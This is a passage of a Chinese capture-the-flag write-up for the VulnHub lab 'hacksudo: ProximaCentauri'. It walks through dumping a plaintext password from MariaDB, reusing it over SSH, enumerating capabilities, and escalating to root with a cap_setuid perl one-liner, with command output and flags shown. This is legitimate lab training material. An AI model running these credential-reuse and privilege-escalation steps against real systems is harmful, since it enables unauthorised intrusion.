成功Getshell,接下来咱们继续上面的操作,先进去mysql查看一下

www-data@ProximaCentauri:/var/backups$ mysql -ualfauser -ppassw0rd
mysql -ualfauser -ppassw0rd
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 37
Server version: 10.3.27-MariaDB-0+deb10u1 Debian 10Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.MariaDB [(none)]> show databases;
show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| proximacentauri    |
+--------------------+
4 rows in set (0.028 sec)MariaDB [(none)]> use proximacentauri;
use proximacentauri;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -ADatabase changed
MariaDB [proximacentauri]> show tables;
show tables;
+---------------------------+
| Tables_in_proximacentauri |
+---------------------------+
| authors                   |
+---------------------------+
1 row in set (0.001 sec)MariaDB [proximacentauri]> select * from authors;
select * from authors;
+------+---------+-----------------+---------------------+
| id   | name    | password        | email               |
+------+---------+-----------------+---------------------+
|    1 | proxima | alfacentauri123 | vishal@hacksudo.com |
+------+---------+-----------------+---------------------+
1 row in set (0.001 sec)MariaDB [proximacentauri]> 

在数据库 proximacentauri 的表authors中,有一个用户 proxima 的明文密码。

这个用户跟咱们前面看到的系统用户的用户名一致

这里咱们尝试使用ssh进行登录

┌──(hirak0㉿kali)-[~/vulnhub/hacksudo: ProximaCentauri]
└─$ ssh proxima@192.168.9.17
The authenticity of host '192.168.9.17 (192.168.9.17)' can't be established.
ED25519 key fingerprint is SHA256:eI8yP9LtVsMcwLyNVJCLIT/guic0AroGQyjLmeyJCC8.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.9.17' (ED25519) to the list of known hosts.#m    m               #                        #        #    #  mmm    mmm   #   m   mmm   m   m   mmm#   mmm  #mmmm# "   #  #"  "  # m"   #   "  #   #  #" "#  #" "# #    # m"""#  #      #"#     """m  #   #  #   #  #   # #    # "mm"#  "#mm"  #  "m  "mmm"  "mm"#  "#m##  "#m#"
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
www.hacksudo.com @blackwhole effect #vishal_waghmare @twitter#vishalhwaghmare
#==============================================================================#
#hey dear you might be survive due to blackwhole effect so try 2 get right path#
#------------------------------------------------------------------------------#
did you tried?cont1=^https://github.com/hacksudo/fog-hacksudo/blob/main/blackhole.lst^
proxima@192.168.9.17's password:
Linux ProximaCentauri 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Jun  7 13:00:54 2021 from 192.168.43.217
proxima@ProximaCentauri:~$

成功登录,查看一下当前目录是否有有价值的东西

proxima@ProximaCentauri:~$ ls -al
total 48
drwxrwx--- 7 proxima proxima 4096 Jun  5  2021 .
drwxr-xr-x 5 root    root    4096 Jun  5  2021 ..
drwxrwxr-x 2 root    root    4096 Jun  5  2021 alfaA
drwxrwxr-x 2 root    root    4096 Jun  5  2021 alfaB
-rwxrwxr-x 1 proxima proxima  164 Jun  7  2021 .bash_history
-rwxrwxr-x 1 proxima proxima  220 Jun  4  2021 .bash_logout
-rwxrwxr-x 1 proxima proxima 3605 Jun  5  2021 .bashrc
drwxrwxr-x 3 proxima proxima 4096 Jun  5  2021 .local
-rwxrwxr-x 1 proxima proxima  807 Jun  4  2021 .profile
drwxrwxr-x 2 root    root    4096 Jun  5  2021 proximaCentauriA
drwxrwxr-x 2 root    root    4096 Jun  5  2021 proximaCentauriB
-rw-r----- 1 proxima proxima 1009 Jun  5  2021 user.txt
proxima@ProximaCentauri:~$ cat user.txt,-.___,---.__          /'|`\          __,---,___,-'    \`    `-.____,-'  |  `-.____,-'    //    `-.,'        |           ~'\     /`~           |        `./      ___//              `. ,'          ,  , \___      \
|    ,-'   `-.__   _         |        ,    __,-'   `-.    |
|   /          /\_  `   .    |    ,      _/\          \   |
\  |           \ \`-.___ \   |   / ___,-'/ /           |  /\  \           | `._   `\\  |  //'   _,' |           /  /`-.\         /'  _ `---'' , . ``---' _  `\         /,-'``       /     \    ,='/ \`=.    /     \       ''|__   /|\_,--.,-.--,--._/|\   __|/  `./  \\`\ |  |  | /,//' \,'  \/   /     ||--+--|--+-/-|     \   \|   |     /'\_\_\ | /_/_/`\     |   |\   \__, \_     `~'     _/ .__/   /`-._,-'   `-._______,-'   `-._,-'user owned
www.hacksudo.com/contact
www.twitter.com/vishalhwaghmare
flag{8b64d2451b7a8f3fd17390f88ea35917}
proxima@ProximaCentauri:~$

在用户目录下成功拿到flag1

查找一下sudo权限、SUID 二进制文件和具有功能的二进制文件

proxima@ProximaCentauri:~$ sudo -l
-bash: sudo: command not found
proxima@ProximaCentauri:~$ find / -perm -4000 -type f -exec ls -al {} \; 2>/dev/null
-rwsr-xr-x 1 root root 63568 Jan 10  2019 /usr/bin/su
-rwsr-xr-x 1 root root 51280 Jan 10  2019 /usr/bin/mount
-rwsr-xr-x 1 root root 34888 Jan 10  2019 /usr/bin/umount
-rwsr-xr-x 1 root root 84016 Jul 27  2018 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 63736 Jul 27  2018 /usr/bin/passwd
-rwsr-xr-x 1 root root 54096 Jul 27  2018 /usr/bin/chfn
-rwsr-xr-x 1 root root 44528 Jul 27  2018 /usr/bin/chsh
-rwsr-xr-x 1 root root 44440 Jul 27  2018 /usr/bin/newgrp
-rwsr-xr-- 1 root messagebus 51184 Jul  5  2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 436552 Jan 31  2020 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 10232 Mar 28  2017 /usr/lib/eject/dmcrypt-get-device
proxima@ProximaCentauri:~$

都没有什么发现

proxima@ProximaCentauri:~$ getcap -r / 2>/dev/null
/home/proxima/proximaCentauriA/perl = cap_setuid+ep
/usr/bin/ping = cap_net_raw+ep
proxima@ProximaCentauri:~$

这里发现有一个具有 setuid 功能的二进制 perl 副本,我们可以利用这个进行权限升级

2.4.3 perl提权

https://gtfobins.github.io/gtfobins/perl查看一下利用方式

在反向shell中运行proximaCentauriA/perl -e 'use POSIX qw(setuid);

proxima@ProximaCentauri:~$ proximaCentauriA/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
root@ProximaCentauri:~# id
uid=0(root) gid=1001(proxima) groups=1001(proxima)
root@ProximaCentauri:~# cd /root
root@ProximaCentauri:/root# ls -al
total 36
drwx------  3 root root    4096 Jun  7  2021 .
drwxr-xr-x 18 root root    4096 Jun  4  2021 ..
-rw-r--r--  1 root root     570 Jan 31  2010 .bashrc
drwxr-xr-x  3 root root    4096 Jun  4  2021 .local
-rw-------  1 root root     927 Jun  7  2021 .mysql_history
-rw-------  1 root proxima    0 Jun  5  2021 note.txt
-rw-r--r--  1 root root     148 Aug 17  2015 .profile
-r--------  1 root root    1250 Jun  5  2021 root.txt
-rw-r--r--  1 root root     830 Jun  7  2021 .sshbanner
-rw-r--r--  1 root root     173 Jun  4  2021 .wget-hsts
root@ProximaCentauri:/root# cat root.txt
proxima centauri -----> ,:,' |/   :--'   /\/ /:// ://_\__/   /)'-. /./  :\/.' ''/'+'`..-"-(    |. .-'  '.( (.   )8:.'    / (_  )_. :(.   )8P  `.  (  `-' (  `.   ..  :  (   .a8a)/_`( "a `a. )"'(  (/  .  ' )=='(   (    )  .8"   +(`'8a.( _(   (..-. `8P    ) `  )  +-'   (      -ab:  )'    _  `    (8P"Ya_(    (    )b  -`.  ) +( 8)  ( _.aP" _a   \( \   *
+  )/    (8P   (88    )  )(a:f   "     `"`
you rooted this server
root flag{e2798af12a7a0f4f70b4d69efbc25f4d}
root@ProximaCentauri:/root#

成功拿到root权限,并在root目录下拿到最终flag

总结

本靶机通过信息收集得到网站CMS版本号,通过版本号找到可以利用的EXPgetshell后进行信息收集,得到mysql用户凭证,登入mysql后拿到系统用户ssh登录密码,登录该用户通过perl提权至root权限

  1. 信息收集
  2. gobuster目录扫描
  3. knock端口敲门
  4. Burpsuite爆破登录密码
  5. CVE-2020-29607利用
  6. 具有setuid功能程序提权—perl提权

靶机渗透练习97-hacksudo:ProximaCentauri相关推荐

  1. 靶机渗透练习93-hacksudo:1.0.1

    靶机描述 靶机地址:https://www.vulnhub.com/entry/hacksudo-101,650/ Description N/A This works better with Vir ...

  2. HA: SHERLOCK 靶机渗透取证

    HA: SHERLOCK 靶机渗透取证 靶机描述: DescriptionHA: Sherlock! This lab is based on the famous investigator's jo ...

  3. [网络安全自学篇] 六十五.Vulnhub靶机渗透之环境搭建及JIS-CTF入门和蚁剑提权示例(一)

    这是作者的网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您们喜欢,一起进步.前文分享了SMBv3服务远程代码执行漏洞(CVE-2020-0796),攻击者可 ...

  4. [HTB]“Heist”靶机渗透详细思路

    今天我们来看一下hackthebox里的一个靶机"Heist",直接开始渗透. 一.信息搜集 先打开网站看看.是一个登陆框,使用弱口令和注入都无果.在网页中发现了 login as ...

  5. [网络安全自学篇] 七十五.Vulnhub靶机渗透之bulldog信息收集和nc反弹shell(三)

    这是作者网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您喜欢,一起进步.前文分享了APT攻击检测溯源与常见APT组织的攻击案例,并介绍防御措施.这篇文章将讲 ...

  6. 【渗透测试】靶机渗透Vulnhub-bulldog

    目录 前言 一.bulldog靶机安装 二.bulldog靶机渗透 1.信息搜集 2.Web渗透--后台登录 3.Web渗透--命令注入&nc反弹shell 4.权限提升 渗透步骤回顾 感悟 ...

  7. 靶机渗透【bulldog】

    文章目录 *一. bulldog靶机安装* 1. 下载bulldog 2. 开启bulldog *二. bulldog靶机渗透* 1. 信息收集 2. Web渗透 3. 命令注入&nc反弹sh ...

  8. Bulldog靶机渗透

    Bulldog靶机渗透 1. 获取地址IP,确定靶机IP是192.168.119.134 2.扫描目标主机信息 3.爆破目标主机目录 4.通过翻译得知这个网页是给承包商看的 5.查看网页的源码,查找有 ...

  9. 【VulnHub靶机渗透】一:BullDog2

    在网上各位大佬WriteUp的帮助下,成功完成了第一次完整的靶机渗透测试(大佬NB!),现将详细过程及原理做简单整理. 文章目录 简介 渗透步骤 1.主机发现.端口扫描 2.Web扫描.漏洞发现 3. ...

最新文章

  1. 关于2021年及未来,人工智能的5大趋势预测
  2. Linux中的各种软件安装
  3. 国产linux 中标麒麟安装.net core sdk
  4. Ocelot简易教程(三)之主要特性及路由详解
  5. 实现electron-bridge
  6. 高德正式开放海外LBS服务,助力开发者出海
  7. JumpList中Recent类别和自定义类型
  8. javaIO流-File类及其方法
  9. qt制作2048小游戏
  10. 这款开源的中文字体,太惊艳了!
  11. 2022秋招蚂蚁金服数据研发一面
  12. App变现之Admob原生广告
  13. 超详细从零记录Hadoop2.7.3完全分布式集群部署过程
  14. 图文并茂讲VLAN,让你看一遍就理解VLAN
  15. 新手小白纠结要做角色建模还是场景建模比较好?
  16. ME3616 NBIOT模组对接OneNET教程以及STM32代码
  17. 室内导航技术蓝牙aoa定位运用
  18. C语言设计窗帘自动拉伸,基于st8952的自动窗帘设计.doc
  19. 深度解读 | 肠道菌群和中枢神经系统的关系
  20. 华三服务器双硬盘,H3C NaviData 5200 G2服务器配置raid1+raid5

热门文章

  1. 写专利的一点小小心得
  2. 通俗理解ROC曲线(Receiver Operating Characteristic Curve)
  3. 【51单片机】十分钟学会定时器中断¹
  4. LaTex 如何生成参考文献
  5. 20220321 Unity 3D修改项目名称和图标
  6. git PR合并提交(rebase方式)
  7. remove debug symbols to a seperate file
  8. 使用开源人脸特征提取器进行脸部颜值评分
  9. 经典编程题目-古典问题:有一对兔子,从出生后第3个月起每个月都生一对兔子
  10. 2018年的第一篇文章(福利篇)